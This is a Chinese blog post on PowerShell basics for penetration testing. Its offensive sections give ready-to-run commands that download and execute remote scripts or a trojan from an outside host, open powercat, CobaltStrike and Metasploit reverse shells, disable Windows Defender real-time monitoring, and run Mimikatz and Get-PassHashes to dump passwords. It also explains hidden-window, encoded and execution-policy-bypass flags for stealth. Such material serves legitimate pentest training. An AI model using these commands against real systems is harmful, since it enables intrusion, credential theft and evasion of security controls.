PowerShell使用

最新推荐文章于 2024-05-08 01:45:56 发布
最新推荐文章于 2024-05-08 01:45:56 发布
阅读量2k 收藏 11
点赞数
分类专栏： 工具的使用
原文链接：https://blog.csdn.net/qq_36119192/article/details/103021617
版权

目录

Windows PowerShell

PowerShell的执行策略

绕过执行策略执行PowerShell脚本

PowerShell的常用文件类命令

PowerShell远程下载文件并执行

渗透测试常用的PowerShell命令

Powershell导入文件 

Windows PowerShell

Windows PowerShell是一种命令行外壳程序和脚本环境，它内置在Windows7及其以上的系统中，使命令行用户和脚本编写者可以利用.NET Framework的强大功能。PowerShell无须写到磁盘中，它可以直接在内存中运行。

各操作系统的PowerShell版本

操作系统PowerShell版本
Windows7、Windows Server20082.0
Windows8、Windows Server20123.0
Windows8.1、Windows Server2012 R24.0
Windows10、Windows Server20165.0

一个PowerShell脚本其实就是一个简单的文本文件，这个文件包含了一系列的PowerShell命令，每个命令显示为独立的一行，PowerShell文件的后缀为.ps1。

在64位的Windows操作系统中，存在两个版本的PowerShell，一个是x64版本的，一个是x86版本的。这两个版本的执行策略不会互相影响，可以把它们看成是两个独立的程序。x64版本PowerShell的配置文件在   C:\Windows\SysWOW64\WindowsPowerShell\v1.0 目录下。

PowerShell的优点

  • Windows7以上的操作系统默认安装
  • PowerShell无须写到磁盘中，它可以直接在内存中运行。
  • 可以从另外一个系统中下载PowerShell脚本并执行
  • 很多杀毒软件检测不到PowerShell的活动
  • cmd通常会被杀毒软件阻止运行，而PowerShell不会
  • PowerShell可以用来管理活动目录

查看PowerShell版本


 
 
  1. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     Get-
     
     Host  
    
    
    
   
   
  2. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     或者  
    
    
    
   
   
  3. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     $
     
     PSVersionTable.
     
     PSVERSION

PowerShell的简单使用

可以执行 ctrl+R ，输入PowerShell 调出PowerShell，也可以在cmd下输入powershell进入，还可以在cmd下输入powershell命令，但是在每条命令之前加上powershell help查看PowerShell的帮助。

PowerShell的执行策略

为防止恶意脚本的执行，PowerShell有一个执行策略，默认情况下，这个执行策略被设置为受限。

我们可以使用：Get-ExecutionPolicy  命令查看PowerShell当前的执行策略。它有4个策略。

  • Restricted：脚本不能运行(默认设置)
  • RemoteSigned：本地创建的脚本可以运行，但是从网上下载的脚本不能运行(拥有数字证书签名的除外)
  • AllSigned：仅当脚本由受信任的发布者签名时才能运行
  • Unrestricted：允许所有的脚本执行

可以看到，我们PowerShell脚本当前的执行策略是 AllSigned。

修改PowerShell执行策略：

Set-ExecutionPolicy 策略名       #该命令需要管理员权限运行

绕过执行策略执行PowerShell脚本

在渗透测试时，需要采用一些方法绕过策略来执行PowerShell脚本：

下载远程PowerShell脚本绕过权限执行

经过测试，在cmd窗口执行远程下载的powershell脚本，不论当前策略，都可以直接运行。而powershell窗口不行。


 
 
  1. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     #cmd窗口执行以下命令
    
    
    
   
   
  2. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     powershell -c IEX (New-Object System.Net.Webclient).DownloadString(
     
     'http://192.168.10.11/test.ps1')
    
    
    
   
   
  3. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     在powershell窗口执行
    
    
    
   
   
  4. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     IEX (New-Object System.Net.Webclient).DownloadString(
     
     'http://192.168.10.11/test.ps1')

绕过本地权限执行

上传test.ps1到目标主机，在cmd环境下，在目标主机本地当前目录执行该脚本

powershell -exec bypass  .\test.ps1

本地隐藏绕过权限执行脚本

powershell.exe -exec bypass -W hidden -nop  test.ps1
  • ExecvtionPolicy Bypass（-exec bypass）：绕过执行安全策略，这个参数非常重要，在默认情况下，PowerShell的安全策略规定了PoweShell不允许运行命令和文件。通过设置这个参数，可以绕过任意一个安全保护规则
  • WindowStyle Hidden(-w hidden)：隐藏窗口，也就是执行完命令后，窗口隐藏
  • -command(-c)：执行powershell脚本
  • NoProfile(-nop)：PowerShell控制台不加载当前用户的配置文件
  • NoLogo：启动不显示版权标志的PowerShell
  • Nonlnteractive(-noni)：非交互模式
  • Noexit：执行后不退出shell，这在使用键盘记录等脚本时非常重要 
  • -enc  base64： 把ps脚本编码成base64来执行，实战用的最多

PowerShell的常用文件类命令

在PowerShell下，命令的命名规范很一致，都采用了动词-名词的形式，如Net-Item，动词一般为Add、New、Get、Remove、Set等。PoerShell还兼容cmd和Linux命令，如查看目录可以使用 dir 或者 ls 。

文件操作类的PowerShell命令


 
 
  1. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     新建目录
     
     test：
     
     New-Item 
     
     test 
     
     -ItemType 
     
     directory
    
    
    
   
   
  2. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     删除目录
     
     test：
     
     Remove-Item 
     
     test
    
    
    
   
   
  3. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     新建文件
     
     test
     
     .txt：
     
     New-Item 
     
     test
     
     .txt 
     
     -ItemType 
     
     file
    
    
    
   
   
  4. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     新建文件
     
     test
     
     .txt，内容为 
     
     hello：
     
     New-Item 
     
     test
     
     .txt 
     
     -ItemType 
     
     file 
     
     -value "
     
     hello"
    
    
    
   
   
  5. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     删除文件
     
     test
     
     .txt：
     
     Remove-Item 
     
     test
     
     .txt
    
    
    
   
   
  6. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     查看文件
     
     test
     
     .txt内容：
     
     Get-Content  
     
     test
     
     .txt
    
    
    
   
   
  7. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     设置文件
     
     test
     
     .txt内容
     
     t：
     
     Set-Content  
     
     test
     
     .txt  
     
     -Value "
     
     haha"
    
    
    
   
   
  8. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     给文件
     
     test
     
     .txt追加内容：
     
     Add-Content 
     
     test
     
     .txt  
     
     -Value ",
     
     word!"
    
    
    
   
   
  9. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     清除文件
     
     test
     
     .txt内容：
     
     Clear-Content 
     
     test
     
     .txt

PowerShell远程下载文件并执行

cmd窗口下载文件

管理员权限才可以下载到C盘目录下，普通权限不能下在到C盘下。DownloadFile函数必须提供两个参数


 
 
  1. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     #下载文件到指定目录
    
    
    
   
   
  2. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     powershell (new-object system.net.webclient).downloadfile(
     
     'http://192.168.10.11/test.exe',
     
     'd:/test.exe');
    
    
    
   
   
  3. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
     
    
    
    
   
   
  4. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     #下载文件到当前目录
    
    
    
   
   
  5. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     powershell (new-object system.net.webclient).downloadfile(
     
     'http://192.168.10.11/test.exe',
     
     'test.exe');

cmd窗口下载文件并执行(exe)

远程下载木马文件并执行

powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','test.exe');start-process test.exe

cmd窗口下载文件并执行(powershell脚本) 

远程下载 test.ps1 脚本，直接执行，该命令可以绕过powershell的执行策略。

powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')

远程下载 powercat.ps1 脚本，并带参数运行，该命令可以绕过powershell的执行策略

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd

渗透测试常用的PowerShell命令

关闭Windows自带的Defender防火墙(需要管理员权限)

powershell Set-MpPreference -disablerealtimeMonitoring $true

在cmd窗口下执行，将远程主机上的test.exe 下载到本地的D盘下

powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','d:/test.exe');

cmd窗口下利用Powershell反弹NC shell  


 
 
  1. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     在cmd窗口执行
    
    
    
   
   
  2. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     powershell IEX (New-Object System.Net.Webclient).DownloadString(
     
     'https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 
     
     192.168
     
     .10
     
     .11 -p 
     
     8888 -e cmd
    
    
    
   
   
  3. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     在powershell窗口执行
    
    
    
   
   
  4. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     IEX (New-Object System.Net.Webclient).DownloadString(
     
     'https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 
     
     192.168
     
     .10
     
     .11 -p 
     
     8888 -e cmd

cmd窗口下利用Powershell反弹CobaltStrike shell 


 
 
  1. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     在cmd窗口执行
    
    
    
   
   
  2. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     powershell.exe -c IEX ((new-object net.webclient).downloadstring(
     
     'http://xx.xx.xx.xx/a'))  
    
    
    
   
   
  3. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     在powershell窗口执行
    
    
    
   
   
  4. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     IEX ((new-object net.webclient).downloadstring(
     
     'http://xx.xx.xx.xx/a'))

cmd窗口下利用Powershell反弹MSF shell 


 
 
  1. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     在cmd窗口执行
    
    
    
   
   
  2. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     powershell -c IEX (New-Object Net.WebClient).DownloadString(
     
     'http://xx.xx.xx.xx/7788.ps1');xx.ps1
    
    
    
   
   
  3. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     在powershell窗口执行
    
    
    
   
   
  4. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     IEX (New-Object Net.WebClient).DownloadString(
     
     'http://xx.xx.xx.xx/7788.ps1');xx.ps1

远程加载PowerShell脚本读取明文密码

需要管理员权限


 
 
  1. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     在cmd窗口执行
    
    
    
   
   
  2. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     powershell IEX (New-Object Net.WebClient).DownloadString(
     
     'https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
    
    
    
   
   
  3. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     在powershell窗口执行
    
    
    
   
   
  4. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     IEX (New-Object Net.WebClient).DownloadString(
     
     'https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts

 远程加载PowerShell脚本读取密码hash值

需要管理员权限


 
 
  1. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     在cmd窗口执行
    
    
    
   
   
  2. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     powershell IEX (New-Object Net.WebClient).DownloadString(
     
     'https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
    
    
    
   
   
  3. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     在powershell窗口执行
    
    
    
   
   
  4. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     IEX (New-Object Net.WebClient).DownloadString(
     
     'https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

Powershell导入文件 

在大型的Powershell项目下，通常会有 .ps1 、.psd1 和 .psm1 几种后缀的文件。如PowerSploit工具

下面说下这几种后缀文件的用法。

  • .ps1 文件就是PowerShell脚本文件，该文件内容就是powershell语法
  • .psd1 文件是这个模块的介绍
  • .psm1 是模块文件

对于 .psm1 和 psd1 文件，可以使用以下命令进行导入


 
 
  1. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
     
     
     Import-Module .\PowerSploit.psm
     
     1
    
    
    
   
   
  2. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
     
     
     Import-Module .\PowerSploit.psd
     
     1

然后输入命令：Get-Command -Module PowerSploit 查看导入的模块都有哪些功能

对于.ps1文件，既可以使用  Import-Module 也可以使用 . 进行导入


 
 
  1. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     Import-Module .\
     
     Get-Information.ps1
    
    
    
   
   
  2. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     . .\
     
     Get-Information.ps1

注：以上所有的命令都建议在cmd窗口执行！！

参考书籍：《Web安全攻防-渗透测试实战指南》

相关文章：PowerSploit收集域信息

                  一些值得收藏的PowerShell工具

Mamba start
关注
  • 0
    点赞
  • 踩
  • 11
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
Windows PowerShell使用
04-18
Windows PowerShell使用
Jmeter报错 Error invoking bsh method: eval Sourced file: inline evaluation of: ``(“D:\\softs\apache-j
zhenzhen_intertid的博客
05-26 1万+
这里写自定义目录标题欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题，有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能，丰富你的文章UML 图表FLowchart流程图导出与导入导出导入 欢迎使用Markdown编辑器 你好！ 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Mar
PowerShell使用教程（挑战全网最全，不喜勿喷）
weixin_43419816的博客
02-10 2万+
PowerShell使用教程 遇到它是因为我有一个appx文件要安装，结果，win10没法安装，最后遇到了它——PowerShell 1、背景及定义 微软是一个很”低调”的公司,取名为微软，感觉有“微微软下去”的意思，这是个玩笑了。windows 操作系统 和office办公软件，如此之优秀，微软也没敢命名为PowerOS 和 PowerOffice，但是在Monad（PowerShell的前身）...
Windows在命令行控制台 CMD DOS PowerShell 创建文件夹 md mkdir New-Item
最新发布
kfepiza的博客
05-08 518
Windows在命令行控制台 CMD DOS PowerShell 创建文件夹mkdirmdNew-Item测试代码。
java:异常，File，递归
qq_63531507的博客
02-19 531
我们想要实现IO操作，就必须知道硬盘上的表现形式； File: 文件和路径的抽象表示 构造方法： public File(String pathname) 通过给定的路径名来创建新的File实例，如果给定的字符串是空的字符串，则结果是空的抽象路径名。 public File(String parent, String child) 从父路径名字符串和子路径字符串名创建新的File实例。 public File(File parent, String child) 从父路径抽象名和子路径..
JMeter BeanShellSampler 报错Error invoking bsh method: eval Sourced file: inline evaluation of
ljj123_的博客
04-09 2万+
问题： 使用Jmeter BeanShellSampler导入java class文件后，运行，报如下错误 解决问题 1、如下为java源文件和class文件所在的位置 2、BeanShellSampler采取器的配置信息如下 3、经过各种查询得知，addClassPath 目录不能包含类的包名，修改addClassPath的值后再次运行，正常。 ...
测试系列：jmeter性能压测常见错误总结
weixin_54626591的博客
12-11 2010
jmeter性能压测常见错误总结
PowerShell使用小技巧分享
09-21
本文给大家汇总了几个平时经常能够用到的PowerShell使用小技巧，包括修改Host文件、方法调用、查看powershell版本，有需要的小伙伴可以参考下。
Powershell使用OpenFileDialog打开文件示例
09-22
主要介绍了Powershell使用OpenFileDialog打开文件示例,本文直接给出示例代码,需要的朋友可以参考下
powershell使用两位四进制创建16个文件
04-04
1)在 windows7 上编写 C:\CreateFile.ps1 的 powershell 脚本请使用两位四进制的方式在C:\file 下创建 16 个文件，文件命名为testxx.txt,其中 XX为 00、01、02、03、10、11、12、13、20.....32、33。如果文件和...
Jmeter Beanshell脚本报错看不懂如何解决
liuzihaung的博客
11-10 3780
建议：使用JSR223 PreProcessor进行Beanshell脚本的调试（好处：JSR223 PreProcessor会显示更为具体的错误）
渗透测试中powershell基础
12-21 1178
powershell简介 Windows PowerShell是一种命令行外壳程序和脚本环境，它内置在Windows7及其以上的系统中，使命令行用户和脚本编写者可以利用.NET Framework的强大功能。PowerShell无须写到磁盘中，它可以直接在内存中运行，现在我们讨论的多数都时V2版本的powershell,因为V1的功能对我们来说把不够用，后续版本均向前兼容，所以使用v2即可。 Powershell 基础语法 变量通常以$开头，强类型，但是大小写不敏感 创建数组 $array = 1,2,3,
PowerShell常用操作
菜鸟记录
03-24 1063
⏹PowerShell常用操作
使用Windows的Powershell下载文件
weixin_33744854的博客
11-02 4151
例如要将文件：http://www.51.cto.com/download/datainfo.cfg                 http://www.51.cto.com/download/ABK/full.ABK                  http://www.51.cto.com/download/FIN/full.FIN                  http://www....
org.zkoss.zk.ui.UiException:Sourced file: inline evaluation of:
JAVA
08-18 7845
异常日志:原因： Sourced file: inline evaluation of: ``changeOraldatetime(event); : Command not found: changeOraldatetime( org.zkoss.zk.ui.event.SelectEvent ) : at Line: 1 : in file: inline evaluation of:
javaIO流笔记
weixin_38857307的博客
03-01 180
流的分类 字符流更适合处理文本数据（16bit就是一个char），非文本数据字节流
PowerShell常用命令及使用方法
热门推荐
Captain_RB的博客
06-17 5万+
PowerShell 依托.NET Framework平台可以实现非常强大的功能，而且普适性强，Win7及以上系统自带，隐蔽性好，可以直接在内存中运行，能够绕过部分杀软，现将平日操作及内网渗透过程中常用命令及使用方法总结如下。...
windows 弹shell_Windows文件下载执行的15种姿势
weixin_39706127的博客
11-19 291
当我们通过Web渗透获取了一个Shell，而且目标主机是Windows，我们该怎么去下载后门文件到目标主机上执行呢？一般来说，实现Windows文件下载执行的方式不外乎以下几种方式。第一种，远程下载文件到本地，然后再执行；第二种，远程下载执行，执行过程没有二进制文件落地，这种方式已然成为后门文件下载执行的首要方式。另外呢，只要你所在服务器的环境支持，你也可以通过任何一门语言来实现它，这种...
PowerShell入门教程
forwardss的博客
02-15 6682
PowerShell基础语句 1、进入Powershell环境 开始–运行–powershell 开始–运行–cmd–powershell 不同系统内置的powershell系统版本是不一样的 查看版本：$psversiontable 2、powershell功能特别强大 使用方便 命令命名方式简单：动词+名词 get-service 获取系统服务 get-help get-service...
powershell使用
06-06
如何使用PowerShell？ PowerShell是一种命令行工具，可帮助用户快速自动化和管理Windows系统。使用PowerShell可以通过命令行完成各种系统管理任务，包括文件和文件夹管理、进程和服务管理、网络管理等等。要使用...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值